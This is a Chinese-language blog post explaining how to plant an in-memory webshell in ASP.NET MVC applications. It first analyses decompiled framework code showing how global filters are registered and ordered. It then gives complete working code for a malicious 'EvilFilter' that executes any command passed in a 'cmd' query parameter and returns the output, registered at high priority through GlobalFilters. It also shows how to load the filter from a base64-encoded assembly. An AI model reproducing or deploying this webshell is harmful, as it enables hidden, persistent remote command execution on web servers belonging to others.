Net MVC內存馬
前言
在瀏覽論壇時候看到幾篇關於Net 內存馬的文章,引發我的好奇心,隨手調了一下。
結構分析
安裝Java內存馬的思路,來跟蹤NET中的Filter註冊流程。
創建了一個mvc項目看到MvcApplication類中
namespace WebApplication3
{
public class MvcApplication : System.Web.HttpApplication
{
protected void Application_Start()
{
AreaRegistration.RegisterAllAreas();
FilterConfig.RegisterGlobalFilters(GlobalFilters.Filters);
RouteConfig.RegisterRoutes(RouteTable.Routes);
BundleConfig.RegisterBundles(BundleTable.Bundles);
}
}
}
在MvcApplication
中會FilterConfig
加載進來。
而FilterConfig
類中配置了所有需要加載的Filter。
通過GlobalFilterCollection
的Add方法進行將filter對象進行添加。
namespace System.Web.Mvc
{
//
// 摘要:
// 表示一個包含所有全局篩選器的類。
public sealed class GlobalFilterCollection : IEnumerable<Filter>, IEnumerable, IFilterProvider
{
//
// 摘要:
// 初始化 System.Web.Mvc.GlobalFilterCollection 類的新實例。
public GlobalFilterCollection();
//
// 摘要:
// 獲取全局篩選器集合中的篩選器數目。
//
// 返回結果:
// 全局篩選器集合中的篩選器數目。
public int Count { get; }
//
// 摘要:
// 向全局篩選器集合添加指定篩選器。
//
// 參數:
// filter:
// 篩選器。
public void Add(object filter);
//
// 摘要:
// 使用指定的篩選器運行順序向全局篩選器集合添加指定篩選器。
//
// 參數:
// filter:
// 篩選器。
//
// order:
// 篩選器運行順序。
public void Add(object filter, int order);
//
// 摘要:
// 從全局篩選器集合刪除所有篩選器。
public void Clear();
//
// 摘要:
// 確定某篩選器是否在全局篩選器集合中。
//
// 參數:
// filter:
// 篩選器。
//
// 返回結果:
// 如果在全局篩選器集合中找到 filter,則爲 true;否則爲 false。
public bool Contains(object filter);
//
// 摘要:
// 返回循環訪問全局篩選器集合的枚舉器。
//
// 返回結果:
// 循環訪問全局篩選器集合的枚舉器。
public IEnumerator<Filter> GetEnumerator();
//
// 摘要:
// 刪除與指定篩選器匹配的所有篩選器。
//
// 參數:
// filter:
// 要刪除的篩選器。
public void Remove(object filter);
}
}
其中有2個add方法,兩個參數的方法,第二個參數是設置Filter的執行優先級。
首先讓我們看FilterProviders.cs,該類爲Filter提供註冊點
using System;
namespace System.Web.Mvc
{
// Token: 0x020000C6 RID: 198
public static class FilterProviders
{
// Token: 0x06000533 RID: 1331 RVA: 0x0000E9D4 File Offset: 0x0000CBD4
static FilterProviders()
{
FilterProviders.Providers.Add(GlobalFilters.Filters);
FilterProviders.Providers.Add(new FilterAttributeFilterProvider());
FilterProviders.Providers.Add(new ControllerInstanceFilterProvider());
}
public static FilterProviderCollection Providers { get; private set; } = new FilterProviderCollection();
}
}
FilterAttributeFilterProvider
代碼
namespace System.Web.Mvc
{
// Token: 0x020000C3 RID: 195
public class FilterAttributeFilterProvider : IFilterProvider
{
// Token: 0x06000520 RID: 1312 RVA: 0x0000E489 File Offset: 0x0000C689
public FilterAttributeFilterProvider() : this(true)
{
}
// Token: 0x06000521 RID: 1313 RVA: 0x0000E492 File Offset: 0x0000C692
public FilterAttributeFilterProvider(bool cacheAttributeInstances)
{
this._cacheAttributeInstances = cacheAttributeInstances;
}
// Token: 0x06000522 RID: 1314 RVA: 0x0000E4A1 File Offset: 0x0000C6A1
protected virtual IEnumerable<FilterAttribute> GetActionAttributes(ControllerContext controllerContext, ActionDescriptor actionDescriptor)
{
return actionDescriptor.GetFilterAttributes(this._cacheAttributeInstances);
}
// Token: 0x06000523 RID: 1315 RVA: 0x0000E4AF File Offset: 0x0000C6AF
protected virtual IEnumerable<FilterAttribute> GetControllerAttributes(ControllerContext controllerContext, ActionDescriptor actionDescriptor)
{
return actionDescriptor.ControllerDescriptor.GetFilterAttributes(this._cacheAttributeInstances);
}
// Token: 0x06000524 RID: 1316 RVA: 0x0000E770 File Offset: 0x0000C970
public virtual IEnumerable<Filter> GetFilters(ControllerContext controllerContext, ActionDescriptor actionDescriptor)
{
if (controllerContext.Controller != null)
{
foreach (FilterAttribute attr in this.GetControllerAttributes(controllerContext, actionDescriptor))
{
yield return new Filter(attr, FilterScope.Controller, null);
}
foreach (FilterAttribute attr2 in this.GetActionAttributes(controllerContext, actionDescriptor))
{
yield return new Filter(attr2, FilterScope.Action, null);
}
}
yield break;
}
// Token: 0x04000164 RID: 356
private readonly bool _cacheAttributeInstances;
}
}
該類中有幾個方法分別獲取Filter、Controller、Action等特性集合
public IEnumerable<Filter> GetFilters(ControllerContext controllerContext, ActionDescriptor actionDescriptor)
{
if (controllerContext == null)
{
throw new ArgumentNullException("controllerContext");
}
if (actionDescriptor == null)
{
throw new ArgumentNullException("actionDescriptor");
}
IFilterProvider[] combinedItems = this.CombinedItems;
List<Filter> list = new List<Filter>();
foreach (IFilterProvider filterProvider in combinedItems)
{
foreach (Filter item in filterProvider.GetFilters(controllerContext, actionDescriptor))
{
list.Add(item);
}
}
list.Sort(FilterProviderCollection._filterComparer);
if (list.Count > 1)
{
FilterProviderCollection.RemoveDuplicates(list);
}
return list;
}
遍歷combinedItems
值獲取IFilterProvider
接口實例化對象,調用list.Sort
進行排序
System.Web.Mvc.FilterProviderCollection$FilterComparer
類
private class FilterComparer : IComparer<Filter>
{
// Token: 0x06000531 RID: 1329 RVA: 0x0000E96C File Offset: 0x0000CB6C
public int Compare(Filter x, Filter y)
{
if (x == null && y == null)
{
return 0;
}
if (x == null)
{
return -1;
}
if (y == null)
{
return 1;
}
if (x.Order < y.Order)
{
return -1;
}
if (x.Order > y.Order)
{
return 1;
}
if (x.Scope < y.Scope)
{
return -1;
}
if (x.Scope > y.Scope)
{
return 1;
}
return 0;
}
對比2個Filter的Order值和Scope值。
可見先調用的IAuthorizationFilter.OnAuthorization
可見IAuthorizationFilter
優先級要高一些
//IAuthorizationFilter調用
AuthorizationContext authContext = InvokeAuthorizationFilters(controllerContext, filterInfo.AuthorizationFilters, actionDescriptor)
//IActionFilter調用
ActionExecutedContext postActionContext = InvokeActionMethodWithFilters(controllerContext, filterInfo.ActionFilters, actionDescriptor, parameters);
//IResultFilter調用
InvokeActionResultWithFilters(controllerContext, filterInfo.ResultFilters, postActionContext.Result);
//IExceptionFilter調用
ExceptionContext exceptionContext = InvokeExceptionFilters(controllerContext, filterInfo.ExceptionFilters, ex);
構造
與Java一直,繼承IAuthorizationFilter
接口,在OnAuthorization
方法中構造馬的內容。然後調用GlobalFilters.Filters.add
方法將繼承IAuthorizationFilter
接口類的實例化對象也就是構造的內存馬傳遞進去。
比較懶代碼直接寫到了Controller裏面進行執行注入內存馬。
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Text;
using System.Web;
using System.Web.Mvc;
namespace WebApplication3.Controllers
{
public class HomeController : Controller
{
public ActionResult Index()
{
GlobalFilters.Filters.Add(new EvilFilter(), -2);
return View();
}
public class EvilFilter : IAuthorizationFilter
{
public void OnAuthorization(AuthorizationContext filterContext)
{
HttpRequestBase request = filterContext.HttpContext.Request;
HttpResponseBase response = filterContext.HttpContext.Response;
string cmd = request.QueryString["cmd"];
if (cmd != null)
{
Process process = new Process();
process.StartInfo.FileName = cmd;
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardError = true;
process.Start();
byte[] data = Encoding.UTF8.GetBytes(process.StandardOutput.ReadToEnd() + process.StandardError.ReadToEnd());
response.Write(System.Text.Encoding.Default.GetString(data));
}
else
{
response.Write("null");
}
}
}
}
與Java一致 NET也可以將以上EvilFilter
這個惡意的Filter編譯成dll,然後編碼後進行加載。
System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String("Filter base64字符"));
assembly.CreateInstance(assembly.GetTypes()[0].FullName,)
但只能在mvc下使用,因爲GlobalFilters
和IAuthorizationFilter
需要System.Web.Mvc.dll
依賴,在面對Webform的情況下無法使用。